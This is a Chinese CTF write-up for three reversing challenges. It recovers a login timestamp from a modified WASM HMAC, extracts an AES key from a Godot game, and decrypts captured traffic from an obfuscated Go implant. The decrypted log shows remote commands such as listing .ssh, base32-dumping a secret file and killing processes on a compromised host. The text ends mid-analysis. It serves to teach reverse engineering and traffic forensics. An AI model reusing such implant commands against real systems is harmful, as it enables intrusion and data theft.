wasm-login
某人本想在2025年12月第三个周末爆肝一个web安全登录demo,结果不仅搞到周一凌晨,他自己还忘了成功登录时的时间戳了,你能帮他找回来吗?
提交格式为flag{时间戳正确时的check值}。是一个大括号内为一个32位长的小写十六进制字符串。
看index
// 模拟服务器请求 function simulateServerRequest(data) { return new Promise(resolve => { // 模拟网络延迟 setTimeout(() => { // 实际应用中这里应该是真实的 API 请求 // 这里仅作演示,使用本地判断 const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex); if (check.startsWith("ccaf33e3512e31f3")){ resolve({ success: true }); }else{ resolve({ success: false }); } }, 1000); }); }题目给了release.wasm.map
"password":"${encodedPassword}\
4. 使用HMAC-SHA256进行签名 * 5. 返回最终的JSON字符串*/export function authenticate(username: string, password: string): string { // 1. Base64编码密码 const encodedPassword = encode(stringToUint8Array(password)); //console.log(encodedPassword); // 2. 获取当前时间戳(毫秒) const timestamp = Date.now().toString(); //console.log(timestamp); // 3. 构建原始JSON消息 const message = `{"username":"${username}","password":"${encodedPassword}"}`; //console.log(message); // 4. 使用HMAC-SHA256签名 const signature = signMessage(message, timestamp); //console.log(signature); // 5. 构建最终的JSON消息 const finalMessage = `{"username":"${username}","password":"${encodedPassword}",\ghidra分析
undefined4 export::authenticate(undefined4 param1,undefined4 param2)
{ undefined4 uVar1; undefined4 local_8; undefined4 local_4;
if (0x12ef < (int)&local_8) { local_8 = param1; local_4 = param2; uVar1 = unnamed_function_34(param1,param2); return uVar1; } import::env::abort(&DAT_ram_00009310,&DAT_ram_00009340,1,1); do { halt_trap(); } while( true );}题目自定义了base64表
ator@lazy// const ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";const ALPHA = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO"; /** * Encode Uint8Array as a base64 string. * @param bytes Byte array of type Uint8Array. */分析sha256部分
const signatureBytes = hmacSHA256(secretBytes,messageBytes);\n \n return encode(ArrayBufferToUint8Array(signatureBytes));\n} \n\n// 实现 HMAC-SHA256 函数\nfunction hmacSHA256(key: ArrayBuffer, message: ArrayBuffer): ArrayBuffer {\n const blockSize = 64; // SHA256 的块大小为 64 字节\n\n // 填充密钥\n const keyPtr = changetype<usize>(key);\n const paddedKey = new ArrayBuffer(blockSize);\n const paddedKeyPtr = changetype<usize>(paddedKey);\n if (key.byteLength > blockSize) {\n // 如果密钥长度超过块大小,对密钥进行哈希处理\n init();\n update(keyPtr, key.byteLength);\n final(paddedKeyPtr);\n }else{\n // 填充密钥到块大小\n memory.copy(paddedKeyPtr, keyPtr, key.byteLength);\n fill(paddedKeyPtr + key.byteLength, 0, blockSize - key.byteLength)\n }\n //console.log(ArrayBufferToUint8Array(paddedKey).toString());\n\n // 计算 ipad 和 opad\n const ipad = new ArrayBuffer(blockSize);\n const opad = new ArrayBuffer(blockSize);\n const ipadPtr = changetype<usize>(ipad);\n const opadPtr = changetype<usize>(opad);\n for (let i = 0; i < blockSize; i++) {\n store<u8>(ipadPtr + i , load<u8>(paddedKey也有魔改,分析可以看到xor常量改了,拼接顺序也改了
load<u8>(paddedKeyPtr + i) ^ 0x76); store<u8>(opadPtr + i , load<u8>(paddedKeyPtr + i) ^ 0x3C);写爆破脚本
2025年12月第三个周末到周一凌晨
先猜猜是不是凌晨
import hashlibfrom datetime import datetime, timezone, timedelta
ALPHA = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO"PAD = "="def b64_custom(data: bytes) -> str: out = [] i = 0 n = len(data) while i + 2 < n: v = (data[i] << 16) | (data[i+1] << 8) | data[i+2] out.append(ALPHA[(v >> 18) & 63]) out.append(ALPHA[(v >> 12) & 63]) out.append(ALPHA[(v >> 6) & 63]) out.append(ALPHA[v & 63]) i += 3 rem = n - i if rem == 1: v = data[i] << 16 out.append(ALPHA[(v >> 18) & 63]) out.append(ALPHA[(v >> 12) & 63]) out.append(PAD) out.append(PAD) elif rem == 2: v = (data[i] << 16) | (data[i+1] << 8) out.append(ALPHA[(v >> 18) & 63]) out.append(ALPHA[(v >> 12) & 63]) out.append(ALPHA[(v >> 6) & 63]) out.append(PAD) return "".join(out)
def sha256(x: bytes) -> bytes: return hashlib.sha256(x).digest()
def weird_hmac_sha256(key: bytes, msg: bytes) -> bytes: block = 64 if len(key) > block: key = sha256(key) key = key.ljust(block, b"\x00")
ipad = bytes([b ^ 0x76 for b in key]) # 注意:0x76 opad = bytes([b ^ 0x3C for b in key]) # 注意:0x3C
inner = sha256(ipad + msg) outer = sha256(inner + opad) return outerdef authenticate(username: str, password: str, ts_ms: int) -> str: # WASM: stringToUint8Array(password) => 逐字符取 charCode(这里 password=admin 是 ASCII) encoded_pw = b64_custom(password.encode("ascii")) message = f'{{"username":"{username}","password":"{encoded_pw}"}}' signature_bytes = weird_hmac_sha256(str(ts_ms).encode("utf-8"), message.encode("utf-8")) signature = b64_custom(signature_bytes) final_message = f'{{"username":"{username}","password":"{encoded_pw}","signature":"{signature}"}}' return final_messagedef md5_hex(s: str) -> str: return hashlib.md5(s.encode("utf-8")).hexdigest()
def main(): username = "admin" password = "admin" target_prefix = "ccaf33e3512e31f3" tz8 = timezone(timedelta(hours=8)) start = int(datetime(2025, 12, 22, 0, 0, 0, tzinfo=tz8).timestamp() * 1000) end = int(datetime(2025, 12, 22, 6, 0, 0, tzinfo=tz8).timestamp() * 1000) for ts in range(start, end + 1): fm = authenticate(username, password, ts) h = md5_hex(fm) if h.startswith(target_prefix): print("FOUND!") print("timestamp:", ts) print("md5:", h) print("final_message:", fm) break
if __name__ == "__main__": main()FOUND!timestamp: 1766334550699md5: ccaf33e3512e31f36228f0b97ccbc8f1final_message: {"username":"admin","password":"L0In602=","signature":"LxZiwA05Y9h7wX1CI0gUitOE2LBy9y8McoBqWgKIdDo="}babygame
看打开页面有godot,搜索有现成工具了 godot re tool
先看这里
[gd_scene load_steps=2 format=3 uid="uid://dkq0of6k4nvab"]
[ext_resource type="Script" uid="uid://dguwugfoefc7s" path="res://scripts/flag.gd" id="1"]
[node name="Flag" type="CenterContainer"]anchor_right = 1.0anchor_bottom = 1.0grow_horizontal = 2grow_vertical = 2script = ExtResource("1")
[node name="PanelContainer" type="PanelContainer" parent="."]layout_mode = 2
[node name="VBoxContainer" type="VBoxContainer" parent="PanelContainer"]layout_mode = 2
[node name="Label" type="Label" parent="PanelContainer/VBoxContainer"]layout_mode = 2theme_override_font_sizes/font_size = 32text = "Please input your flag:"
[node name="FlagTextEdit" type="TextEdit" parent="PanelContainer/VBoxContainer"]custom_minimum_size = Vector2(800, 42)layout_mode = 2theme_override_font_sizes/font_size = 32
[node name="Label2" type="Label" parent="PanelContainer/VBoxContainer"]visible = falselayout_mode = 2theme_override_colors/font_color = Color(0.886275, 0.937255, 0.478431, 1)theme_override_font_sizes/font_size = 24text = "you are great~!"
[node name="HBoxContainer" type="HBoxContainer" parent="PanelContainer/VBoxContainer"]layout_mode = 2size_flags_horizontal = 4
[node name="Button" type="Button" parent="PanelContainer/VBoxContainer/HBoxContainer"]custom_minimum_size = Vector2(100, 42)layout_mode = 2theme_override_font_sizes/font_size = 24text = "Submit"
[node name="Button2" type="Button" parent="PanelContainer/VBoxContainer/HBoxContainer"]custom_minimum_size = Vector2(100, 42)layout_mode = 2theme_override_font_sizes/font_size = 24text = "Back"
[connection signal="ready" from="." to="." method="_on_ready"][connection signal="pressed" from="PanelContainer/VBoxContainer/HBoxContainer/Button" to="." method="submit"][connection signal="pressed" from="PanelContainer/VBoxContainer/HBoxContainer/Button2" to="." method="back"]看flag.gdc
extends CenterContainer
@onready var flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit@onready var label2: Node = $PanelContainer / VBoxContainer / Label2
static var key = "FanAglFanAglOoO!"var data = ""
func _on_ready() -> void : Flag.hide()
func get_key() -> String: return key
func submit() -> void : data = flagTextEdit.text
var aes = AESContext.new() aes.start(AESContext.MODE_ECB_ENCRYPT, key.to_utf8_buffer()) var encrypted = aes.update(data.to_utf8_buffer()) aes.finish()
if encrypted.hex_encode() == "d458af702a680ae4d089ce32fc39945d": label2.show() else: label2.hide()
func back() -> void : get_tree().change_scene_to_file("res://scenes/menu.tscn")key其实通关也会弹,开始还以为直接给flag哈哈
还有个运行时改key
extends Node
@onready var fan = $"../Fan"
var score = 0
func add_point(): score += 1 if score == 1: Flag.key = Flag.key.replace("A", "B") fan.visible = true
套上flag{}就行,图片是解密网站截图而已
eternum
upx脱壳
GoReSym恢复符号
函数名都被混淆了,
跟进发现这里应该是主要处理部分
__int64 __fastcall iupHvc2q4__ptr_H1eV17y_Run(){ _QWORD *v0; // rax __int64 result; // rax _QWORD *v2; // rax _QWORD *v3; // rcx _QWORD *v4; // r11 _QWORD *v5; // rax _QWORD *v6; // rcx _QWORD *v7; // r11 _QWORD *v8; // [rsp+8h] [rbp+8h]
v8 = v0; if ( *v0 || (result = iupHvc2q4__ptr_H1eV17y_Connect()) == 0 ) { result = iupHvc2q4__ptr_H1eV17y_o6wghH0urlbA(); if ( !result ) { v2 = (_QWORD *)runtime_newobject(); *v2 = iupHvc2q4__ptr_H1eV17y_Run_gowrap1; if ( dword_9CB880 ) { v2 = (_QWORD *)runtime_gcWriteBarrier1(); v3 = v8; *v4 = v8; } else { v3 = v8; } v2[1] = v3; runtime_newproc(); v5 = (_QWORD *)runtime_newobject(); *v5 = iupHvc2q4__ptr_H1eV17y_Run_gowrap2; if ( dword_9CB880 ) { v5 = (_QWORD *)runtime_gcWriteBarrier1(); v6 = v8; *v7 = v8; } else { v6 = v8; } v5[1] = v6; runtime_newproc(); (*(void (**)(void))(v8[4] + 32LL))(); runtime_chanrecv1_0(); return 0; } } return result;}AES解密特征
__int64 __fastcall iupHvc2q4_P3xHxov3(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4){ __int64 v4; // rax __int64 v5; // rbx __int128 v6; // xmm15 __int64 v7; // rcx __int64 v8; // rax __int64 v9; // rcx __int64 v10; // rax __int64 v12; // [rsp+68h] [rbp-18h] __int64 v13; // [rsp+88h] [rbp+8h]
v13 = v4; SoyKwS7R_JabRj3ChL(); if ( v7 ) return 0; v8 = HpkfE6vaP2b_EojfYcyL(); if ( v9 ) return 0; v12 = v8; v10 = (*(__int64 (**)(void))(v8 + 24))(); if ( v10 > v5 ) { wnHD_M_PzeouNSB873g(); return 0; } else { if ( v10 > a4 ) runtime_panicSliceAcap(); return (*(__int64 (__fastcall **)(_QWORD, __int64, __int64, _QWORD, __int64, unsigned __int64, __int64, __int64, unsigned __int64, _QWORD, _QWORD, _QWORD))(v12 + 32))( 0, v13, v13 + (v10 & ((__int64)(v10 - a4) >> 63)), 0, v10, a4, v13 + (v10 & ((__int64)(v10 - a4) >> 63)), v5 - v10, a4 - v10, v6, *((_QWORD *)&v6 + 1), 0); }} v10 = off_99B220; iupHvc2q4_P3xHxov3();v10应该是密钥
.noptrdata:000000000098F740 aXfqgcvjrowp5tu db 'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7',0.noptrdata:000000000098F740 ; DATA XREF: .data:off_99B220↓o可以直接解密流量了
import structfrom scapy.all import *from Crypto.Cipher import AES
KEY = b"xfqGcVjrOWp5tUGCPFQq448nPDjILTe7"PCAP_FILE = "tcp.pcap"
def try_decrypt(nonce, ciphertext): try: cipher = AES.new(KEY, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt(ciphertext) return plaintext except Exception: return None
def main(): packets = rdpcap(PCAP_FILE) full_stream = b"" for pkt in packets: if TCP in pkt and Raw in pkt: full_stream += pkt[Raw].load found_any = False i = 0 while i < len(full_stream) - 16: try: length_bytes = full_stream[i: i + 4] packet_len = struct.unpack(">I", length_bytes)[0] if 12 <= packet_len <= 1048576: if i + 4 + packet_len <= len(full_stream): payload = full_stream[i + 4: i + 4 + packet_len] nonce = payload[:12] ciphertext = payload[12:] plaintext = try_decrypt(nonce, ciphertext) if plaintext: print(f" Length: {packet_len}") print("-" * 40) try: print(plaintext.decode('utf-8')) except: print(plaintext)
print("-" * 40) i += 4 + packet_len continue except Exception: pass i += 1
if __name__ == "__main__": main() Length: 52----------------------------------------b'(\xb5/\xfd\x04\x00Y\x00\x00\x08\x04\x12\x07\n\x05viper;#\xc2\xa7\xec\xc1\xe8\xe3\x8e{A\xf5\xce\xaa5K\x8c\x8a^\x84'---------------------------------------- Length: 51----------------------------------------b'(\xb5/\xfd\x04\x00Q\x00\x00\x12\x08\n\x06whoami\xe7\\<a\xc6\xd3B<\xb7\x11y\xd5c7\xc9p\xec\xa0\xca\x90'---------------------------------------- Length: 52----------------------------------------b'(\xb5/\xfd\x04\x00Y\x00\x00\x08\x01\x12\x07\x12\x05root\n\x0b\x93a\xb4\x19\xa3\xfam\x1b(\xad\x9a\xfb\xa7\xea\x17;\xa6U\xc6'---------------------------------------- Length: 47----------------------------------------b'(\xb5/\xfd\x04\x001\x00\x00\x12\x04\n\x02id\xb7P\x91*\xf7\x7f\xb4\x1e\x1c2\xc5\xca\xea\xd7U\xd7\xea\xc0P\xda'---------------------------------------- Length: 86----------------------------------------b"(\xb5/\xfd\x04\x00i\x01\x00\x08\x01\x12)\x12'uid=0(root) gid=0(root) groups=0(root)\n\x8ac\x06@\xca\xa3\xd1\xb5~\xb8k\xc7\x86V\xe2\x94keCz"---------------------------------------- Length: 49----------------------------------------b'(\xb5/\xfd\x04\x00A\x00\x00\x12\x06\n\x04ls /\x83\xf0Q<\x9f,"j\xad\x91\xbcE\xc8\xa4\xe4\\\xa2w\x80\x01'---------------------------------------- Length: 167----------------------------------------b'(\xb5/\xfd\x04\x00\xf1\x03\x00\x08\x01\x12z\x12xbin\nboot\ncdrom\ndev\netc\nhome\nlib\nlib32\nlib64\nlibx32\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsnap\nsrv\nsys\ntmp\nusr\nvar\nb\xd5\xdf$\xdf\xc1\xe5D\x13\xcc\x14\x92\x86ZZ\x8e\xa7\xde\x92\x1d'---------------------------------------- Length: 52----------------------------------------b'(\xb5/\xfd\x04\x00Y\x00\x00\x12\t\n\x07ls .ssh\x1aS\x9a\xf1[d\xb7XA\xb7\x0f(c\x99\x02\xdc\xde\x89vm'---------------------------------------- Length: 63----------------------------------------b'(\xb5/\xfd\x04\x00\xb1\x00\x00\x08\x01\x12\x12\x12\x10authorized_keys\n;\xa9\x16\x86\xcf\xcc\xde\x0e\xe8\xdf\xee<\xee\x1b\xb8\xb4P\xb7\xf3D'---------------------------------------- Length: 52----------------------------------------b'(\xb5/\xfd\x04\x00Y\x00\x00\x12\t\n\x07ls /varl\xdb\xd8\xe3\xbb\xca\xa6\x893U\x06O\xd0W\xf9\xc6\xd9\x0c\x05\xde'---------------------------------------- Length: 114----------------------------------------b"(\xb5/\xfd\x04\x00I\x02\x00\x08\x01\x12E\x12Cbackups\ncache\ncrash\nlib\nlocal\nlock\nlog\nmail\nopt\nrun\nsnap\nspool\ntmp\n\xf4RY'!\xea\x94q\xfc\xcf\xc3\xe5\xfb\x06\x8e\xda\x05WV3"---------------------------------------- Length: 56----------------------------------------b'(\xb5/\xfd\x04\x00y\x00\x00\x12\r\n\x0bls /var/opt\xdd\xe3,Q{k\xe3\xf6\xe8tI`\xdf\x0b\x1f\xca\xc41\x96\x03'---------------------------------------- Length: 54----------------------------------------b"(\xb5/\xfd\x04\x00i\x00\x00\x08\x01\x12\t\x12\x07secret\n\xe7W\x0f\x02\x12\xba\x88\x8ef'x\x9eW5\xc2?w\xe2\x9b\x04"---------------------------------------- Length: 63----------------------------------------b'(\xb5/\xfd\x04\x00\xb1\x00\x00\x12\x14\n\x12base32 /var/opt/s*/\xf2\xa9\xf1\xbc#qD\xbcnz\x9e\xfa\n\x9b\xa6\xf5>\xea\xc8'---------------------------------------- Length: 120----------------------------------------b'(\xb5/\xfd\x04\x00y\x02\x00\x08\x01\x12K\x12IMZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===\n\xa1o\xf2\x12\xf2LB\x0bg2\xfb\xa3\xfdQq\xe3\xd6\xb5=\xe5'---------------------------------------- Length: 48----------------------------------------b"(\xb5/\xfd\x04\x009\x00\x00\x12\x05\n\x03pwd\xf1\xc8ppj|s\xf4\xff\xeb\xf0Q\\\xb8q'\x105\xb10"---------------------------------------- Length: 53----------------------------------------b'(\xb5/\xfd\x04\x00a\x00\x00\x08\x01\x12\x08\x12\x06/root\n\xd7cO\xe23q\xc0\xa91\x11\xca\xbe\xb99Q\xe0\xdb&\xff7'---------------------------------------- Length: 53----------------------------------------b'(\xb5/\xfd\x04\x00a\x00\x00\x12\n\n\x08uname -aQ\xd5L\x80\x93\xc0\x03\xdaCm\xcfi\xca\xcc\x08)\xa0.\xb1\xe8'---------------------------------------- Length: 154----------------------------------------b'(\xb5/\xfd\x04\x00\x89\x03\x00\x08\x01\x12m\x12kLinux viper 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux\n\x02\x90\x08\xccB-\xea3\xc5\xb9B\xadz\x08\x89\xbf\x96\xc6+D'---------------------------------------- Length: 55----------------------------------------b'(\xb5/\xfd\x04\x00q\x00\x00\x12\x0c\n\npython3 -vK\x06o\x1f.Dj>\x8f\xaa\x0c\xcb\xab5\xb73\x0c4O\x1e'---------------------------------------- Length: 2048----------------------------------------b'(\xb5/\xfddy1\xb5>\x00\x92\xba\xa63\x80)\rh\x80\x01\x06\x18`\x80\xd9H\x88\x11\xe9\xfd\xf5\xfd\xcb\xdf\xe8)\xd3\xe7\xf7>\x95\xecW[\xed\xba\xdc\x04\xd9{\xd3\xa6\xa4\xcc\x9d"\xd0\xa7\xdc\xaa\xc6s\x95M\x04\n\x9ftS\xf9\x1cY\xaa\xf8\xe5\x0c\xf2\x84\x84pz\xc2\xf1[\x8a\xc6\xf7\xef\x86X7{\xac\x15c\r\xd2\xab\xe3\xfbF\xc9PT\xfc\xcd\xb0\xe2\xcbsz\x1c\xd1\xd5\xc6\x84h"@\xeb\xc5\xb8o\xf5\xe3\xe8}c\xbfoL\x86\x82\xb1I7\xb5\x11\xfcM\x19c\xfa[\xb1\xb8N\xbd\xc2ISh\x9b\xc6\xb7\x9cF,\xbc\x9e\xbd\xabk\x1c2\x0e#\xa6\xa8\xd4+T\xfcr\xa6x\xd4u-\x19\n\xe55\xbfV\xb1\xa5\xc7\xb9\xb1\xab\x8c-\xe5b\xfdmc\xb7\xc8\xd8\xb9\xf0\xe7h\xe3S\x13\xc7\x0bv[\xe4\xc2\x02\xba\xa5\x16\xb9\xf0\x82\xa0\x90\xb0\x1e\xbb|\x9d\x10\x8b\xf2(\x0c\x93\t\x12,\x88\x90\x05\x9c\xc7\xa1q\x1c\x1e&\x17\x1e\xcd\xd2\xe4\x83\xc9\xc9:\x90\x0b\x8f\xb5"\x90\r\xa3,\x8c\xe2\xa4\x03\xc5\xc3\xd2<\x8fG\xda\xc6\x89\x9c\xc8\xa4\x9bb\xeccC\xa8\x13\\\xf5\xbb\xd5\xf6\xd9\x17\xe5\x8a\xfb\x98jZ=\xda8~\xeb\x89D\xbaH\xac=Kz\x1a\x9a\xb6\x087\xaa\xa4,\xf6k\\\xd8\x91D\xd2(\xf6\x84k\'\xae\xfb\xe3>\xc4\xee%\xf6_7\x89\xc4D\x14\xc7oA\x1c\'\x02Y\x9c\x08\xbc\x9ez\xa8L\x13\xe8\x8faQ\x1e\xe5\xc1\xb0M\xa5\xb8\xffXY\xd8\x13\x8eu,%\xf5Pi\xbcs\xe4\xb4\xb5\xc3\x15\xfb\xdbF\x8erz\x1cE\x07\x9cB\xed&\xdfI\'M!\xc3>{\xc6u+\xa7\xc7\xee\xdb::P<,\x0e\xd4\xb0\xcf\xce\x1e\xfa\xf0n\x1a\xc8\xd3$L\xa4q\xdc\xb7\x13\xf5\n%\x0c\xe4i\x98\xbf\xe6o\xeb\\7\xe6l\xc3\xeb\xfb\xeb{\xf7>\xfb\xa2L{\x9e\xa6A\xca\x1a\xa4\r\xd2\xe6\xe6\x89\x9d=\x11&\xbd\xa5\x8b\xf4<\x0b\x14y\x9eFYWv\xfa\xb0l#=\x0f\xe4\x89$\x12Db\xc9\xd7\xb8\x91v\x83u\xac`[\xb4\xfa\x81\xc2\x1a\xde6\xea\xd6hd\xd5Q\xcao+\x01\xea\xdc\xa8[2\x14\x17\xf4\xa5\xdak\x95\xed\x82\xca\xc28\x0cMa\xec\xf91c\x0e\xc6\x96j\xda.\xc8\x98\xc3\xa7\xc7Q\xb7\xb7\x8e\x85Q\x9c\xd7\xd4_\xd0\x01\xb1sD\xb7\x1c\xc9\x88v+\xfeI7\x05y"\xa7\xc7\xce\xe9\xfb\xe3d(xq_b\x99\x04{C\xa7\x94G\xad\x9a\xa5\x8d\x13]\x9f\x1e\xbf\xa8\x13\x1e\x1aq\x19 P\x1a\xe9\xae\xae\x19HF6"\xddH=k\xf0;\xb6\xa0d$\xacX\x91\x8c\x84\xd8\xb1\xb7\x13\x1d%\x96\x1f\x1bV\x1cQ\x18\x10U\x10\x00 @\x82C\xa0\xe25\xa4\xd8\x8c@\x10\x80\x04\x80\x80\x00b\x08tH(fsJ;\xabn\xc8\xd5T\x13\xd3\xb2\x1bIj\x95xxo\xb5\x0b\xd4\x0eH\x9a\x8d\x7f\xb2\x8f\x16\t\xce\xd0\xc5\xdc\x97\xf5j\xa2G\xc8\xd5\xda\xd9\xa9\xe7"V\xc4K\x898r!q\xa3-\x8c\x9drB\xeb\x88P\xd8\xf1\x9e\xdf\r_\xd1\x9b\x80&n\xb9;\x98`7\xbd\x9b\x8c\x87\xdf\xc0Q~\xa3c\xc9\xed\xc7\xe6\xc2\x1c =\xa71\xa6\xd4\xba\xc1Pj\xc9\xf6\x86\xf1\x80\xd0\xf3\xb0i\xcf|\xfbV\x9b!r7j\xe9\xcb\xb0\x81d\xfd}[\x8by\xf7-\x1f6\xd3\xc2sP\xef\x94\xce\xbd\xb6\x91pB\xd8\xd5\xcb\x0f\x08<D\xd6&\x1c\xdb>\xe9\x83\xb7\x1b^q\xdc\xb6\x8b\x0e\xb62\x14\xaf`\x13\xcc\xbb\x03\x18u\xc5QH;\xe3\xf06%\xc9\xdd\xb7R\xce\xc6\xdc\x88&\x8b\xae\xca]\x88\xcc\xe7N\xc4\x9a \xd9\xc8\xf10\xe3\x84\x13"\x17\x91\x0f>\x9c\x00c\xee<[3F\x9f\x15\xb2\x0bK\xf0\x1aI\xf7\x96H?\x08\n$S\xd9R\xe3\xd4N\xae\xa6u\xe0Ul\x9d\x1f\xad\xad%4/_*\xee\xf4z3\xf9.\xa0\xa2R\x8f:\xa2\xa2\x032\x0b\xebO\xc7\x1ci\x19\t\xd56\x84sU\x97\x94\x9a\x97o^.\xfa* #P\x19\xd1\xb8\x7f\xf9^\x90Y\xf4\xcbH\x9b\xc4Iy\x05\xf1\xf4\xf5\xe0\xa1\xe1\xa3%X\x97\xd1\x0b\xc8\xfd\x14\xb5%\xd6\xf8$\xc3XM\xd2\x17\x0e\xe9\x86\xd5\xc2|\x9b#\x85;\xa7s\xd1\x05\xd0\xa4\xb0\x87\x95\xc7,8\xa6\x1e\xc1\x1f\x1c9@(\x8d\xe8vr\x8cT\xf5\xa4\xda\x19k^F,Xhc\x8f\x1c\xbf\x90 \xea$\xbep<m\x8b_\x7f\xaf\xcd\x05s--\xb6\xf3\xd4B\x03\xfb\xbf\xbb\x1b\xeb\r\x10\x1e\xaf`\xfa\x9c\xd7hV\x0b\x88T\xc3\x82\xf6\xfa\x81\xb4\xe0w\x08jE!\xf7>5\xb7?4\xe8|H\x13\x03\xfaBN\xa4[E$\xd5\xee;\xffX\x8dmA\xe0\xab2Q7\xe8kQ\x03\x86"\xecx\x8b\x1fH\x0c)p*\xc5\xba\x17\\\nbY\xb3\xb0\x9e\xdb\xdb\x8bdb \xfa~\x06\x11^r\xeda\xfc\xd0pO\xb1@$=\x8f8\x1f\xbd]7<X\x95G\x86o+\xee\xa3)%\x95\x94\xd7\xe6\xc7 t\x8c<*\x94\xf3\r.Pa\x1c\xa5:\x05u\xf4\xb9\xd2\x0e\xcd\xd1\x94N\xc6\xa0\xfcq\xc4\x816\x06\x86\xa0\x84\xf63h[T\x13c\x9d\xb1e\xc3d\xd6\xddf*t\xe07\xe0\xe7\xa3\xed#\x07\ti\x82B\xbc\xdc\xe8\x06\xfe|h\x8f\x9a\x8eC5\xdd\x1eN!\xbdSs\x151x\xe3\xc0\x13\xbe\xe1\xc4\xcdP\xf8\x01\xac\xb0\xc3\x9b&\xeb\x90\xaf\xd0yaa\xf4\xfb\x08\x01b\xa1\x02\x88\xa3\x83\xe5\xc4\xcd\xb1j\t\x01\xb9W>\xfdT#\xd0\x8d\x9eN\xb41\xd6G6X\x02\xd0\xac.\x94\xb0\xf1\xb4\xb5\x12#\xa4\xaa{\xc6;\xf3\x027\x8d\xc1\x02\x84\xec6e\x11"\xe8\xa4s\xe3\x9d\x89\x10#\x11O\x96`i\xe8\xa3\xc1\x89\xf5/\x06#\xe1\xa0e\xa0`\x03\x0e>\r\x85\xd2\x9d\x11\x89\xa8\xb8dK\xfc2\x84\xd8\xc9\x0f\xdb\xec\x84\t*\xf7\xb8\xbd\x11\x9b\xa3\xe9+\xa8C\xf1\x0b\x8d\xe0m@V\xb3\x1b\x0f/\xcf\xcd#\x90\x95\x03U\x9e\xbe\\\xa2\x8b\x987A\xbe\xbd\xc0\x88-\x87\xf8L}\xcc\xd0\xdc\x9b\x1e?\xd8\xae\x95\xa5\xdf\x15w\x05\x88m\x08\xa2\xc6\xc6\x0eq\xca\x9b\xa8\xbc\xc1\xe30*\xa2\xec\x7f\x90@\xdc\x0f\xe7\x8e\xc6+*\xdb\xd88\x9at\xfc\xb4P\xbc\xaeh\x19CG\xd5K6\x1b\xc7\x1b\xa8\xf8n\x13\xc6\xe9\x03\x8a\xc4\xf6\xc1\xd5\n\xff\x98\xce\xf1\xf7\x0c\r,7\x11\x87s\xcf\x03*\xcf\x8c\x0b\xc6\x14\x0b\xc3@\x10A\xe1\xe0\x1b\xb9\x1f-\xf4\xd4\xc0&[]\x04\xfd{\x925@\xc9&-\x91\xc1\x12\nx7\xf6\xb3\xd1\x0b\xad\x96\x8d\xe8\x9d\xc7!\xf6\x91\x8e\xb6 GF\x84*\x9f\xd2\xdd\x04\xdf\x08\x8d\xb3\xdf\x91ZD&\x91\xf9\x01\xc0]\x07\x10\x1e.\x18 \x958\xbe >\xd0\xd8\\\r\xf1l\x84\x1a7\xcb\xde\x1e\xe6\x069\xeevn\xe7\xc6\xe6\x10\xc9\x91\xa4\xee\x9epc\x08O\x1e\xcclS\x06\r#\x14X\xeb\x03\x13\x1e\xd5\xe8`7\x9a\xef,\x98I\xe5\x19\xf8\x9c\xee\x9b\xb7\xfa\'\x1c\x1e\x05\x04\xf9W\xfcR\xf3\x99\xb6\x18\xac\xa4G\x1d\xca\x02\x94\x04\xa6"\x91l^\xc4r\xcb\xd2f\x16\xdf\xb7l\xe9\xe61"\xc1\xa4\xe9\x88\x93*\x84\x8d\x98\x85\xc5\x01\xc9Z\x1aKY\t\xe5\xa1\xc2\x18\xd73\xd2\x13\xa1\xca\x0cg9a\x17\xc9*\xa9\xce\xe1(\xcc\xd8Lb%\xca\xa06\x95]6\x97!\xce^\x94O\xc1+\xdd\x1e\xe8\xf0\x98V\x820\x84\xc4\xa3\x1b\xf8\xbc\x18\xf9c\x18\xd8\xc8\xe9\xf0\xe8h\xdf\x89\xb43\xb5\x1b\x18\xdbf$ql\xce\xe94\xb537\xec\xf6\x8c\x84\x19y\xa0\r.\x99\xe0o3\xbc\x1dU\xb3B\x95\x1a#\xaa~\x9f\xdf\xcbh\x03\xc7\xf0\xd7\xb6F\x1c1p\xa4\x90\x82\x8e\x03\x9d\x8d\rw\xd5(\xf3\x93\xab\xd2\xaa\x19qt\x030\x01\xae\x89\x93\xb17\xf7X\xad\x11\xb2\xa9ML\xb4\xaeuY;\x0fU-\xb4]\xcex;\xfa\xaf\x85D\xdcYf\xaa@OG\x05\x9cZ}\'\xe1!\xe7\xe1\x84\xce\x17\x0c\xc5k\x111\xc3\xd5\xf33\x9f\xd1\xbd\x94\xe0\xf6q(\xc3\r\x1f}\x88\xdf%\x13\xdfm\x05i\xe8\xa1\x0f\xd8\xfc\x81\xcb\x89\x1e\x1c\xe5'---------------------------------------- Length: 48----------------------------------------b'(\xb5/\xfd\x04\x009\x00\x00\x12\x05\n\x03tty\xdd\xe9o\x9d\xf5T\xcc\x8d\xc9\xe1\xe5\xda\xef,"x,\xad\x9a\xf7'---------------------------------------- Length: 59----------------------------------------b'(\xb5/\xfd\x04\x00\x91\x00\x00\x08\x01\x12\x0e\x08\x01\x12\nnot a tty\n\xa2|\xd10\x9e\x033.\xcd\x95\xc4kPD\r||kf*'---------------------------------------- Length: 58----------------------------------------b'(\xb5/\xfd\x04\x00\x89\x00\x00\x12\x0f\n\rpkill kworker\xc1C\xaf\x7f\xe2\x89\x12Y\x1b\xe6I<\xe5:\x17}\xcf>\xb2f'----------------------------------------看到这里
